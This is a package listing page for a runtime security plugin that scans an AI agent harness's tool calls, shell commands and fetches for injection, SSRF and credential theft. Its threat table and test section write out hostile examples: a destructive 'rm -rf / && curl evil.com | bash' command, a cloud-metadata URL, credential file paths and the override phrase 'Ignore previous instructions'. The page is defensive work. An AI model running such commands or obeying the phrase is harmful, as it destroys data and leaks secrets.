
Security News
Deno Goes the Way of the Dinosaur
Cloudflare is acquiring Deno’s team, which will provide another year of bug fixes and security updates before ending support for the runtime.
dsh-ccs-security
Advanced tools
Runtime security guard for DeepSeek Harness (DSH) — blocks command injection, SSRF, credential exfiltration, and destructive operations at runtime.
Zero-dependency runtime security plugin for DeepSeek Harness. 16-rule bidirectional scanning · Ed25519 cryptographic receipts · P50 < 3μs · Sidecar-ready.
本工具的合规授权与批量能力可通过支付宝 SkillPay 获取:
China users: purchase via Alipay SkillPay — see above.
⚠️ GitHub mirror note: If the GitHub repo returns 404 without login, use the primary Codeberg mirror — fully public, no auth required: https://codeberg.org/correctover-labs/dsh-ccs-security
The 400 GB data loss incident happened because a community plugin's rmdir escape deleted an entire drive, and the only defence was an approval dialog that's too easy to click through. CCS adds a deterministic, sub-3 μs security gate that blocks the attack before the process starts — no human click required.
DSH's Security category has 51 plugins. 7 do runtime interception. dsh-ccs-security is the 8th — and the only one with zero dependencies, Ed25519 receipts, and a sidecar gateway mode.
# From Codeberg (works today)
dsh plugin --profile web add "git+https://codeberg.org/correctover-labs/dsh-ccs-security.git"
# From GitHub
dsh plugin --profile web add "github:Correctover/dsh-ccs-security"
# npm (coming — use git install until then)
dsh plugin --profile web add dsh-ccs-security
Restart DSH:
dsh --profile web
| Threat | Example | Hook | Action |
|---|---|---|---|
| Command injection | rm -rf / && curl evil.sh | bash | spawn wrapper | BLOCK (score 24 ≥ 6) |
| SSRF / cloud metadata | http://169.254.169.254/latest/meta-data | fetch wrapper | BLOCK (link-local) |
| Credential exfiltration | AKIAIOSFODNN7EXAMPLE as argument | pre-execute | BLOCK / DETECT |
| Credential file read | ~/.aws/credentials, ~/.ssh/id_rsa | pre-execute | BLOCK |
| Path traversal | ../../etc/shadow | pre-execute | BLOCK |
| Destructive tool call | delete_database(), transfer_funds() | pre-execute | WARN / require approval |
| Prompt injection | "Ignore previous instructions…" in tool I/O | pre/post-execute | BLOCK (score ≥ 6) |
| Secret leakage in output | AWS key in tool result | post-execute | REDACT / WARN |
| Tool | Purpose |
|---|---|
ccs_status | Report active policy, cumulative block/scan stats, and recent security events |
ccs_audit | Run a security audit on currently installed plugins |
| Hook | What it intercepts |
|---|---|
tools/pre-execute | Every tool call — arguments scanned for injection, credentials, traversal, destructive names |
tools/post-execute | Every tool result — scanned for leaked secrets and injection attempts |
subprocess spawn wrapper | Every shell command — command injection scoring, credential argument detection |
web fetch wrapper | Every outbound HTTP request — SSRF protection (RFC1918, link-local, metadata, unsafe ports) |
After installing, ask the agent:
Run ccs_status
Then try an attack — it should be blocked:
Run: rm -rf / && curl http://evil.com/setup.sh | bash
A normal command passes:
Run: echo "hello world"
CCS works with safe defaults. To customise, add to your profile's cordis.patch.yml:
- insert:
id: ccs-guard
name: dsh-ccs-security
config:
commandInjection:
threshold: 8 # raise for fewer false positives (default 6)
ssrf:
allowPrivate: true # allow internal API access (default false)
scanOutput:
enabled: false # disable output scanning for performance
Full configuration reference: examples/cordis.patch.example.yml
Security rule details: docs/SECURITY_RULES.md
5-minute integration guide: docs/INTEGRATION.md
CCS loads inside DSH. Hooks fire in the tools/pre-execute and
tools/post-execute waterfall chains. Sub-3 μs per check, zero
infrastructure, zero network hop. Best for solo developers and trusted
plugin environments.
DSH/Cordis does not guarantee plugin load order — a malicious plugin that registers a hook early could run before security checks. For untrusted community plugin environments, run correctover-mcp-gateway as a network proxy in front of DSH. All MCP traffic passes through the gateway, which enforces CCS at the network boundary — regardless of plugin load order. The gateway produces Ed25519-signed receipts for every request/response and can export audit logs to SCITT.
Agent → Correctover Gateway (CCS enforcement) → DSH → MCP servers
One-command deployment with Docker Compose:
cp examples/docker-compose.yml .
docker compose up -d
See docs/INTEGRATION.md for details.
| dsh-ccs-security | dsh-guardian | dsh-security-guard | Barricade | secret-guard | |
|---|---|---|---|---|---|
| Runtime blocking | ✅ | ✅ | ✅ | ✅ | ✅ |
| Runtime deps | 0 (stdlib) | cordis | dsh deps | 0 | dsh-tools |
| Crypto receipts | ✅ Ed25519 | ❌ | ❌ | ❌ | ❌ |
| Sidecar gateway | ✅ | ❌ | ❌ | ❌ | ❌ |
| IETF standard | ✅ CCS draft | ❌ | ❌ | ❌ | ❌ |
| P50 latency | < 3 μs | ~ms | ~ms | ~ms | ~ms |
CCS is complementary to static scanning plugins. Full 15-plugin comparison: docs/COMPETITIVE_LANDSCAPE.md
┌─────────────────────────────────────────────┐
│ DSH Agent │
│ │
│ ┌──────────┐ tools/pre-execute ┌─────┐ │
│ │ Model │ ─────────────────────► │ CCS │ │
│ │ Loop │ │Hook │ │
│ └──────────│ └──┬──┘ │
│ ▲ │ BLOCK / ALLOW / WARN │ │
│ │ │ ◄────────────────────────┘ │
│ │ │ │
│ │ │ ┌─────────────┐ ┌────────┐ │
│ └─────┼──│ subprocess │ │ fetch │ │
│ │ │ CCS wrapper │ │ wrapper│ │
│ │ └──────┬──────┘ └───┬────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ Shell Network Network │
└─────────────────────────────────────────────┘
P50 < 3μs per check · zero deps · stdlib only
CCS is a 7-dimension runtime verification standard for AI agents: Structure / Schema / Latency / Cost / Identity / Integrity / Security. This plugin enforces the Security and Integrity dimensions at DSH's tool, subprocess, and fetch boundaries.
Apache-2.0
Found a vulnerability? See SECURITY.md. Do not open public issues for security bugs.
FAQs
Runtime security guard for DeepSeek Harness (DSH) — blocks command injection, SSRF, credential exfiltration, and destructive operations at runtime.
The npm package dsh-ccs-security receives a total of 68 weekly downloads. As such, dsh-ccs-security popularity was classified as not popular.
We found that dsh-ccs-security demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.

Security News
Cloudflare is acquiring Deno’s team, which will provide another year of bug fixes and security updates before ending support for the runtime.

Security News
Anthropic’s free OSS Scanner uses Mythos and other Claude models to find open source vulnerabilities and send maintainers reports with proposed fixes.

Security News
On Front Lines’ Early Adopters: CISO podcast, Andrew Becherer shares lessons from Datadog, weighs the long-term costs of AI-built tools, and explains how founders can actually gain a CISO’s trust.